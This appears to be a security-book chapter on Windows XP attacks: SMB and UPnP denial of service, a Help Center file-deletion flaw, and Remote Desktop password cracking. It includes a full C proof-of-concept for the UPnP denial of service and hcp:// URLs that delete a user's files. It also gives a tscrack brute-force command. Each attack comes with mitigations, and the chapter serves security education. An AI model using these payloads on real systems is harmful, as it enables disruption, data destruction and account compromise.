The Server Message Block (SMB) protocol was designed to provide a platform-independent method of requesting data from file services over a network. Also known as the Common Internet File System, this protocol is most often affiliated with the Windows family of operating systems, although others can use it. So far, only Windows has been found vulnerable to the following attack.

SMB operates in the Application/Presentation layers of the OSI model (depicted in Figure 13-1). Because it operates in such high layers, SMB can easily be used in almost any network. TCP/IP, IPX, NetBEUI, and other lesser-known protocols can all work with SMB packaged data.

Figure 13-1. OSI model depicting relationship of SMB and other protocols

SMB is a protocol used for sharing files, printers, and communication methods between computers. SMB operates as a client/server request/response type of service. In this example, we demonstrate it as used with TCP/IP, which is actually NetBIOS over TCP/IP (NBT).

While it is possible to operate Windows XP without allowing SMB requests to connect, this service is set up to run automatically under the default installation. Remote clients can check for SMB service availability by performing a port scan. Positive results include a reply from TCP port 139 and/or TCP port 445, depending on whether NetBIOS over TCP/IP (NBT) is enabled.

Older Windows operating systems use port 139 by default to accept incoming SMB requests. However, with the introduction of Windows 2000 and XP, port 445 is also used to allow Direct Host services to run. Additionally, this port can be used in anonymous share attacks that provide a remote hacker with full access to a Windows box.

In this attack, the weakness is found in the SMB_COM_TRANSACTION command, which used to create functions by which the client and host communicate. In short, this command defines a “Function Code” that determines what type of service is requested by the client. These services are known as NetServEnum2, NetServEnum3, and NetShareEnum. To regulate the amount of information requested, the client uses parameters to send values to the server. Within these parameters are the “Max Param Count” and “Max Data Count” fields, which typically hold valid (nonzero) values. However, if these fields are set to “0”, the code in the DLL file responsible for handling this information incorrectly manages the server’s memory. As a result, the system goes into an unstable mode and crashes.

While all this information can be useful in understanding and manually performing a DoS attack on SMB, several proof-of-concept programs have been developed to illustrate how it works and test personal networks. One program that illustrates the effectiveness of the SMB attack is smbnuke (written by Frederic Deletang). As seen in Figure 13-2, the program crashes a Windows XP machine with the simple command smbnuke address.

Figure 13-2. Windows XP blue screen of death after SMB attack

Figure 13-2 shows the screen of the targeted Windows XP box with the message posted by the infamous blue screen of death . Note that this screen only flashes for a couple of seconds before the system goes down for a reboot.

This program is easily fetched online with a quick web search. To test your own Windows XP system, you will need to be running a Unix system, preferably FreeBSD or Linux (we tested this on Linux 2.4.18/i686 and FreeBSD 4.6.1-RELEASE-p10/i386). Figure 13-3 shows smbnuke successfully testing Windows XP.

Figure 13-3. smbnuke successfully testing Windows XP box

There are various ways to secure a system from the SMB DoS attack. The first method is to remove NetBIOS from any network card or modem connection. This eliminates the possibility of abusing NBT and removes the threat of an attack. To do this, access the properties of your connection and uninstall or unbind NetBIOS from TCP/IP. Disable file sharing and uninstall Client for Microsoft Networks.

The second method of defense is to install the patch from Microsoft, which is buried in Service Pack 1 (SP1). Note that Microsoft has not provided a fix for this outside of SP1—a service pack that also includes software that ensures your Windows XP license is valid. In other words, if you lose your key, you are hosed.

Disabling Null connections also protects against anonymous attacks, but it does not protect against valid users. This is accomplished on Windows XP by updating the Local Security Policy and enabling “Network Access: Do not allow anonymous enumeration of SAM accounts” and “Network access: Do not allow anonymous enumeration of SAM accounts and shares.” On Windows 2000, enable the “Additional restrictions for anonymous connection” option, and in Windows NT, update the registry key at HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA estrictanonymous to equal “1”.

Finally, shutting down the LAN manager service secures a server, but it also disables file and print services. This option is accessible via the Service icon in the Control Panel (under Administrative Tools).

With the introduction of Windows Me, Microsoft included support for a new technology known as Universal Plug and Play (UPnP) in order to permit the use of smart devices that use the UPnP technology to automatically detect and connect with each other. When a UPnP device connects to a network, it sends out a NOTIFY signal to all other devices on the network, which simply tells the other devices that a new device is online and ready to be used. The NOTIFY signal includes a URL that can be used by other UPnP devices to determine what services the new device has to offer. All this is performed using the Simple Service Discovery Protocol (SSDP), the main formatting protocol for passing information using UPnP (http://www.upnp.org/download/draft_cai_ssdp_v1_03.tx).

In addition to the initial NOTIFY signal, UpnP-aware devices send out a signal over the network known as the M-SEARCH directive . This directive informs all UPnP devices that a new, aware device is on the network, which causes them to send back information about the services each of them has to offer.

While this particular technology is not in widespread use, it could theoretically set up an appliance network to control and regulate every electric device in a house, from toasters to refrigerators. It was not until the release of Windows XP, which enabled this feature by default, that it was discovered that the UPnP feature was vulnerable to several DoS attacks.

The core of the problem is the way which the ssdpsrv.exe file handles incoming requests. The following examples describe several methods of attacking the UPnP service.

The first method is to use an incidental attack that creates a series of rapid connections to the target. Incrementing the protocol, port, and file specified in the Location field makes the service unstable. Here’s the format of a NOTIFY session used to do this:

NOTIFY * HTTP/1.1
HOST: <TARGET IP>:1900
CACHE-CONTROL: max-age=10
LOCATION: http://IPADDRESS:PORT/.xml
NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1
NTS: ssdp:alive
SERVER: HACKER/2001 UPnP/1.0 product/1.1
USN: uuid:HACKER

This method of attack can be altered to perform a distributed denial-of-service attack by abusing networking standards. To do this, the attacker has to substitute the Host target IP address with the network’s broadcast address (e.g., 255.255.255.0) and then update the Location field with the target. This causes all listening devices on the network to reply to the initial NOTIFY message (Location field), which floods the target computer with numerous replies.

An attacker could also cause a UPnP service to target itself and create a loop that eats up the host’s resources. To accomplish this, the NOTIFY message is set to target a chargen service on a remote computer. The chargen service is a small program that sends a stream of characters to any computer that connects to it; when the UPnP service sends data to chargen, it immediately bounces the message back to the requesting computer. This triggers another message, creating a new reply. Eventually, the resources on the target computer fail.

This code is provided with permission from Gabriel Maggoiti as a proof of concept:

/* 
 * WinME/XP UPNP D0S  
 *
 * ./upnp_udp <remote_hostname> <spooffed_host> <chargen_port>
 *
 * Authors:     Gabriel Maggiotti, Fernando Oubiña
 * Email:       [email protected], [email protected]
 * Webpage:     http://qb0x.net
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX    1000
#define PORT    1900

char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

/*********************************************************/

int main(int argc,char *argv[])
{
    int sockfd,i;
    int numbytes;
    int num_socks;
    int addr_len;
    char recive_buffer[MAX]="";

    char send_buffer[MAX]=
    "NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
"
    "CACHE-CONTROL: max-age=1
LOCATION: 
                    http://www.host.com:port/
"
    "NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1
"
    "NTS: ssdp:alive
SERVER: QB0X/201 UPnP/1.0 prouct/1.1
"
    "USN: uuid:QB0X


";

    char *aux=send_buffer;
    struct hostent *he;
    struct sockaddr_in their_addr;

    if(argc!=4)
    {
        fprintf(stderr,"usage:%s <remote_hostname> "
            "<spooffed_host> <chargen_port>
",argv[0]);
        exit(1);
    }

    aux=str_replace(argv[2],"www.host.com",send_buffer);
    aux=str_replace(argv[3],"port",send_buffer);

    if((he=gethostbyname(argv[1]))==NULL)
    {
        perror("gethostbyname");
        exit(1);
    }

    if( (sockfd=socket(AF_INET,SOCK_DGRAM,0)) == -1) {
        perror("socket"); exit(1);
    }

    their_addr.sin_family=AF_INET;
    their_addr.sin_port=htons(PORT);
    their_addr.sin_addr=*((struct in_addr*)he->h_addr);
    bzero(&(their_addr.sin_zero),8);

    if( (numbytes=sendto(sockfd,send_buffer,strlen
                        (send_buffer),0,
    (struct sockaddr *)&their_addr, 
                sizeof(struct sockaddr))) ==-1)
    {
        perror("send");
        exit(0);
    }
    close(sockfd);

return 0;
}

Microsoft has released a patch to correct this vulnerability. Once it’s installed, the UPnP is no longer vulnerable to this DoS attack. Visit http://windowsupdate.microsoft.com for security patches.

The UPnP DoS attack has also led to a remote access attack, discussed later in this chapter.

While the previous example illustrates one very effective method of denying use, there are many forms of DoS attacks that can have the same effect and in some cases can be more damaging. By remotely crashing a computer using SMB attacks, the hacker can be disconnected from the remote computer and the attack ended. However, if an attacker were out to truly disrupt a computer user’s life, he would target the filesytem of the computer. The Help Center attack employs this approach.

With the introduction of Windows XP, Microsoft has incorporated a new Help Center program, as illustrated in Figure 13-4. The Help and Support link, which is accessed from the Start menu, opens a window depicting a new, cartoonish screen that provides users with information about the operating system and the many tools and programs that are included with it. As Microsoft puts it, “Help and Support Center is the unified Help introduced by Windows XP. It is an expanded version of the Help Center application (introduced in Windows Millennium Edition), providing a wider breadth of content and more features to access that content.” Who would have guessed that one of these features would be able to delete your files?

Figure 13-4. Windows XP Help Center

The improved Help Center provides a wealth of information, but it’s much more than that. In the Help Center, a user can perform hardware and software tests, configure operating system tools, and even send out a request for assistance. However, a sophisticated tool like this requires a highly complex system of web pages and XML files that all work together to provide service. One of these files is uplddrvinfo.htm .

This file, which is typically located in the c:windowsPCHEALTHHELPCTRSystemDFS directory, appears to be used in the processing of information relating to hardware and drivers. There are other files included in the HELPCTR folder that permit various other activities; however, it is in the uplddrvinfo.htm file that we find the most dangerous of problems.

The file in question includes several lines of code that check for the existence of a file location that is sent to uplddrvinfo.htm as a parameter. The program uses this parameter to make a file object, which is then deleted. The following is the problematic code taken from uplddrvinfo.htm.

var sFile = unescape( sThisURL.substring( sThisURL.indexOf( '?' ) + 1 ));
sFile = sFile.replace('file://', '').replace(/&.*/,''),
var oFSO = new ActiveXObject( 'Scripting.FileSystemObject'),
try{
oFSO.DeleteFile( sFile );}

Here’s an explanation of each line of code to clarify this example:

As the explanation illustrates, this particular code deletes files very efficiently. But could someone abuse these few lines of code to cause chaos on a victim’s computer? The answer is found in the Help Center Protocol (HCP).

The HCP is a recent addition to the Windows family of operating systems; it allows access to the Help Center application from a web browser, email, or any other form of media that allows hyperlinks. In other words, HCP is very similar to HTM, with the addition of the program that is executed when the corresponding file is called.

An HTM file is opened within the context of a special user account that has a controlled set of permissions. In other words, hostile code in a web page should not be able to delete core files on a computer. However, an HCP file is loaded within the context of the Help Center application, which has a higher level of permissions. Because the Help Center accesses core parts of the computer to extract information, such as driver versions and hardware settings, any scripting within it also operates at an escalated level. This means the uplddrvinfo.htm file has the power to alter the core filesystem.

The only thing that is left is to create a link to the file and tell it what to delete. This is accomplished using the URL hcp://system/DFS/uplddrvinfo.htm?file://c:* or, if the hacker was targeting the user’s documents, hcp://system/DFS/uplddrvinfo.htm?file://c:Documents and SettingsAdministratorMy Documents*.

Once a hacker has access to the filesystem, the chaos she can cause is only limited by her imagination. What makes this truly scary is the fact that the user will have no idea what happened. All the user sees is a perfectly harmless Help and Support window. Since this URL can be placed anonymously on the Internet, or hidden in an <a href> tag in an HTML-based email, the only thing a hacker has to do is provide some wording that would cause the user to follow the link and become a victim.

While this particular method of attack is catastrophic to a victim’s computer, it is relatively simple to protect against. There are three main options available: remove or move uplddrvinfo.htm, remove the hostile code from the uplddrvinfo.htm file, or disable the HCP protocol altogether.

Ironically, you can use the hostile scripting itself to eliminate the dangerous file. As Shane Hird (who discovered this bug) observed, using the URL hcp://system/DFS/uplddrvinfo.htm?file://c:windowsPCHEALTHHLPCTRsystemDFSuplddrvinfo.htm causes the hostile file to delete itself.

The Remote Desktop feature obviates the need for third-party remote control programs. It allows an authorized remote user to connect to his machine from anywhere, provided a direct connection exists. In other words, the client and host must have a direct path by which the data can transfer, which means any existing firewalls and/or proxy servers need to be manually configured to allow Remote Desktop to work.

To set up this program on the host, the operating system has to be told to accept incoming requests for Remote Desktop. If the server administrator wants to allow multiple users to connect (one at a time), extra accounts can be added to the Remote Desktop settings. To access the settings for Remote Desktop, perform the following steps:

While this user information is relatively secure, as is the connection, remember that the Remote Desktop can be abused remotely by brute force and other traditional attacks. Also, the connection is protected by a username and password only, which means the security of Remote Desktop depends on the strength and secrecy of the password.

The first step in an attack is to find a computer accepting Remote Desktop connections. Since the Remote Desktop service runs on a dedicated port of 3389, finding open computers is fairly easy with a port scanner. As Figure 13-5 illustrates, an eight-second port scan of our test network using Nmap provides us with three computers that accept Remote Desktop connections.

Figure 13-5. Nmap port scan for computers running Remote Desktop service

Once this information is known, it is a simple matter to open up a Remote Desktop session and attempt to guess the passwords.

Once a computer is found, the next step is to connect to it. This is possible using a Remote Desktop client program that can be downloaded from Microsoft, but it can also be done using Microsoft’s tsweb application. tsweb is an ActiveX program that resides on a web server and installs a temporary browser-based Remote Desktop frontend. Since this ActiveX control resides on a web server, it is quite easy for a hacker to find many tsweb applications by performing a simple Google search for “`Index of /'+ tsweb”. Note that tsweb requires Internet Explorer running on a Windows OS.

Regardless of the method of connection, once a password prompt is displayed, a hacker only needs to set up a brute force script or manually test the most commonly used passwords.

One other issue surrounding Remote Desktop is the fact that a connection’s settings can be saved in a *.rdp file on a local computer to make the connection to a remote computer as simple as a double-click. Unfortunately, if a hacker can access this file, he now has the required settings to find that same remote computer. While the saved password will not work, the IP address, user account, and domain name are all stored as plain text in this file. As Figure 13-6 illustrates, a misplaced *.rdp file can provide a hacker with useful information about a remote host.

Figure 13-6. Inside a saved *.rdp file

From this file, a hacker can learn the IP address (192.168.0.2), the user account (administrator), the domain name (mshome.net), information about the file structure of the target computer (c:scripts), and the encrypted password. While this information may seem relatively harmless, it creates exactly the type of setting required for using a program like TSCrack.

tscrack

tscrack was one of the first Remote Desktop password-cracking tools to be released. While it is nothing more than a brute force password guesser that throws a predetermined list of passwords at a Remote Desktop logon session, it can test over 20 passwords a minute, with several different options available during the testing. Figure 13-7 depicts the help screen of tscrack and illustrates why the information gleaned from an RDP file can be handy for tscrack.

Figure 13-7. tscrack’s help screen and options

From this screenshot, you can see that an IP address and username are necessary for this program to operate. In addition, tscrack can use other information, such as the domain name, which could help in cracking the password. To execute this program against the target of the RDP file illustrated in Figure 13-6, you type the following:

tscrack -t -w passwords.txt -l administrator -D mshome.net 192.168.0.2

Once executed, a screen like Figure 13-8 pops up; the auditing is performed through this screen. tscrack is a basic brute forcing program that automates the testing of Remote Desktop passwords. Weak passwords remain a perennial problem.

Figure 13-8. tscrack brute force password testing in action

Remote Assistance is similar to the Remote Desktop, except that it allows two people to be connected to a computer at one time. Typically, a novice who needs the help of a technician will use this program. To receive help, the novice selects the Remote Assistance option from his Help page and sends the technician an email, MSN message, or file that allows the technician to connect to the computer. Unlike Remote Desktop, which is typically protected by a password, Remote Assistance does not have to be protected by a password. This can cause security problems.

To illustrate: if a novice asks for help from the local network guru, what are the chances the exchange will include a password? The likelihood is not high. In the mind of the novice, it’s not a problem since he is sending the message via email. After all, only the technician will receive the message.

Unfortunately, the Remote Assistance file is nothing more than an encrypted link that is sent as plain text to the technician. Therefore, any sniffer can see the link and a hacker can potentially recreate the link and connect to the novice’s computer instead of the technician (see Figure 13-9). With a little social engineering, the hacker could talk the novice into giving the hacker full control and then could install a backdoor (or more) in a few minutes.

Figure 13-9. Ethereal capture of Remote Assistance request

As this scenario illustrates, Remote Assistance provides an excellent opportunity for a hacker. While it may take some technical prowess, exploiting the remote control features of XP is a palpable threat.

In addition to the obvious security issues of Windows remote access, it is interesting to note a more occult feature. As we presented in a paper at Defcon 10, we found that the Remote Assistance program of Windows Server 2003 (Beta 3) connected to Microsoft’s web site, which then acted as a middleman between the novice and helper. Since this link must include the IP information of the novice’s computer, and since the web server can detect the IP address of the helper as he connects, we have to wonder why Microsoft needs this information. How many people really want Microsoft involved in their private help sessions? In contrast, Windows XP does not require the use of an intermediate web site; instead, it uses an XML file with the information included in the file. We touch on XML security in Chapter 15.